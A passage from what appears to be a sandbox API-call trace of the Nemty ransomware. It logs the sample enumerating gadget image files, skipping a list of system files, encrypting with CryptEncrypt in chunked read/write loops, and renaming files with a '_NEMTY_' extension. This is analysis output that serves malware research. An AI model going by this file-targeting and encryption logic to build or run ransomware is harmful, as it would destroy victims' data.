hHeap=0x4f90000) returned 1 [0144.276] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0144.276] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84f36d12, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84f36d12, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3ce28b2b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x125, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="buttonDown_Off.png", cAlternateFileName="")) returned 1 [0144.277] lstrcmpiW (lpString1="buttonDown_Off.png", lpString2=".") returned 1 [0144.277] lstrcmpiW (lpString1="buttonDown_Off.png", lpString2="..") returned 1 [0144.277] lstrcmpiW (lpString1="buttonDown_Off.png", lpString2="...") returned 1 [0144.277] lstrcmpiW (lpString1="buttonDown_Off.png", lpString2="windows") returned -1 [0144.277] lstrcmpiW (lpString1="buttonDown_Off.png", lpString2="$RECYCLE.BIN") returned 1 [0144.277] lstrcmpiW (lpString1="buttonDown_Off.png", lpString2="rsa") returned -1 [0144.277] lstrcmpiW (lpString1="buttonDown_Off.png", lpString2="NTDETECT.COM") returned -1 [0144.277] lstrcmpiW (lpString1="buttonDown_Off.png", lpString2="ntldr") returned -1 [0144.277] lstrcmpiW (lpString1="buttonDown_Off.png", lpString2="MSDOS.SYS") returned -1 [0144.277] lstrcmpiW (lpString1="buttonDown_Off.png", lpString2="IO.SYS") returned -1 [0144.277] lstrcmpiW (lpString1="buttonDown_Off.png", lpString2="boot.ini") returned 1 [0144.277] lstrcmpiW (lpString1="buttonDown_Off.png", lpString2="boot.ini") returned 1 [0144.277] lstrcmpiW (lpString1="buttonDown_Off.png", lpString2="AUTOEXEC.BAT") returned 1 [0144.277] lstrcmpiW (lpString1="buttonDown_Off.png", lpString2="ntuser.dat") returned -1 [0144.277] lstrcmpiW (lpString1="buttonDown_Off.png", lpString2="desktop.ini") returned -1 [0144.277] lstrcmpiW (lpString1="buttonDown_Off.png", lpString2="CONFIG.SYS") returned -1 [0144.277] lstrcmpiW (lpString1="buttonDown_Off.png", lpString2="RECYCLER") returned -1 [0144.277] lstrcmpiW (lpString1="buttonDown_Off.png", lpString2="BOOTSECT.BAK") returned 1 [0144.277] lstrcmpiW (lpString1="buttonDown_Off.png", lpString2="bootmgr") returned 1 [0144.277] lstrcmpiW (lpString1="buttonDown_Off.png", lpString2="programdata") returned -1 [0144.277] lstrcmpiW (lpString1="buttonDown_Off.png", lpString2="appdata") returned 1 [0144.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0144.277] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="buttonDown_Off.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0144.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0144.277] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="buttonDown_Off.png", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="buttonDown_Off.png", lpUsedDefaultChar=0x0) returned 18 [0144.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0144.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0144.277] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="buttonDown_Off.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0144.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0144.277] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="buttonDown_Off.png", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="buttonDown_Off.png", lpUsedDefaultChar=0x0) returned 18 [0144.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0144.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0144.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0144.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0144.277] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="buttonDown_Off.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0144.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0144.278] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="buttonDown_Off.png", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="buttonDown_Off.png", lpUsedDefaultChar=0x0) returned 18 [0144.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0144.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0144.278] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="buttonDown_Off.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0144.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0144.278] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="buttonDown_Off.png", cchWideChar=18, lpMultiByteStr=0x4f9ed58, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="buttonDown_Off.png", lpUsedDefaultChar=0x0) returned 18 [0144.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0144.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401b8 [0144.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0144.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0144.278] Sleep (dwMilliseconds=0x5) [0144.282] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x9a55210, dwHighDateTime=0x1d561e8)) [0144.282] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x9a55210, dwHighDateTime=0x1d561e8)) [0144.282] GetLastError () returned 0x5 [0144.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0144.282] GetLastError () returned 0x5 [0144.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0144.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0144.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0144.282] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0144.282] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0144.283] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0144.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340328 [0144.283] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340328, pcchString=0x653e91c | out: pszString="+TSEh29VGXg5oyZASqn+4t4fIksVd3xhMqXQ0SEZMoLobvEEUrIeAHXi5csvZFgl\r\nn5panyt/4adzTZh5m1RZIwbkBhsPSln+9eKPpUP3lEns4CC0freC+ex+jCSFHQte\r\nDV5VnprYTUmeewcAmbbkgbBWl7JIYNnlGGzg/NEG9mIAZYIFRQ7m0gvuiEiK9Inj\r\n692E2BUZj94mMfyzl7R0TNVtQ84dE2Tskb3AOJIrvTsJD2lMF5b4+Zgz5a+7EjW5\r\n7SEO5uPb+qLvUgNGttF+xsep6ElBfArsZr/pNERTH5WurH56IJURm4J/i9HVRB48\r\nDCmQtoAd81/ABtmyUimSTA==\r\n", pcchString=0x653e91c) returned 1 [0144.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0144.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0144.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0144.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0144.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340328 [0144.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0144.283] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\buttonDown_Off.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\buttondown_off.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0144.283] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0144.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0144.283] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.283] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.292] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.292] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.293] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.293] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.302] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.302] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.302] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.302] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.311] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.311] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.311] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.312] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.321] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.321] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.321] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.321] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.330] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.330] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.330] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.330] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.339] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.339] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.339] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.340] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.349] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.349] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.349] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.349] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.358] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.358] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.358] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.358] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.368] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.368] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.368] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.368] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.377] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.377] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.377] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.377] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.383] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.383] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.383] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.383] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.389] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.389] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.389] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.389] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340328, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0144.389] CloseHandle (hObject=0xffffffff) returned 0 [0144.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340498 [0144.389] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0144.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0144.389] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0144.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0144.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0144.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6343fe8 [0144.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63440a0 [0144.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0144.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0144.390] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\buttonDown_Off.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\buttondown_off.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\buttonDown_Off.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\buttondown_off.png._nemty_kgobjgd_")) returned 0 [0144.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440a0 | out: hHeap=0x4f90000) returned 1 [0144.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340498 | out: hHeap=0x4f90000) returned 1 [0144.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0144.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0144.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0144.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0144.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0144.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0144.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0144.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0144.390] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84f36d12, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84f36d12, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3ce28b2b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="buttonDown_On.png", cAlternateFileName="")) returned 1 [0144.390] lstrcmpiW (lpString1="buttonDown_On.png", lpString2=".") returned 1 [0144.390] lstrcmpiW (lpString1="buttonDown_On.png", lpString2="..") returned 1 [0144.390] lstrcmpiW (lpString1="buttonDown_On.png", lpString2="...") returned 1 [0144.390] lstrcmpiW (lpString1="buttonDown_On.png", lpString2="windows") returned -1 [0144.390] lstrcmpiW (lpString1="buttonDown_On.png", lpString2="$RECYCLE.BIN") returned 1 [0144.390] lstrcmpiW (lpString1="buttonDown_On.png", lpString2="rsa") returned -1 [0144.390] lstrcmpiW (lpString1="buttonDown_On.png", lpString2="NTDETECT.COM") returned -1 [0144.390] lstrcmpiW (lpString1="buttonDown_On.png", lpString2="ntldr") returned -1 [0144.390] lstrcmpiW (lpString1="buttonDown_On.png", lpString2="MSDOS.SYS") returned -1 [0144.390] lstrcmpiW (lpString1="buttonDown_On.png", lpString2="IO.SYS") returned -1 [0144.390] lstrcmpiW (lpString1="buttonDown_On.png", lpString2="boot.ini") returned 1 [0144.390] lstrcmpiW (lpString1="buttonDown_On.png", lpString2="boot.ini") returned 1 [0144.390] lstrcmpiW (lpString1="buttonDown_On.png", lpString2="AUTOEXEC.BAT") returned 1 [0144.390] lstrcmpiW (lpString1="buttonDown_On.png", lpString2="ntuser.dat") returned -1 [0144.390] lstrcmpiW (lpString1="buttonDown_On.png", lpString2="desktop.ini") returned -1 [0144.390] lstrcmpiW (lpString1="buttonDown_On.png", lpString2="CONFIG.SYS") returned -1 [0144.390] lstrcmpiW (lpString1="buttonDown_On.png", lpString2="RECYCLER") returned -1 [0144.390] lstrcmpiW (lpString1="buttonDown_On.png", lpString2="BOOTSECT.BAK") returned 1 [0144.390] lstrcmpiW (lpString1="buttonDown_On.png", lpString2="bootmgr") returned 1 [0144.390] lstrcmpiW (lpString1="buttonDown_On.png", lpString2="programdata") returned -1 [0144.391] lstrcmpiW (lpString1="buttonDown_On.png", lpString2="appdata") returned 1 [0144.391] RtlAllocateHeap 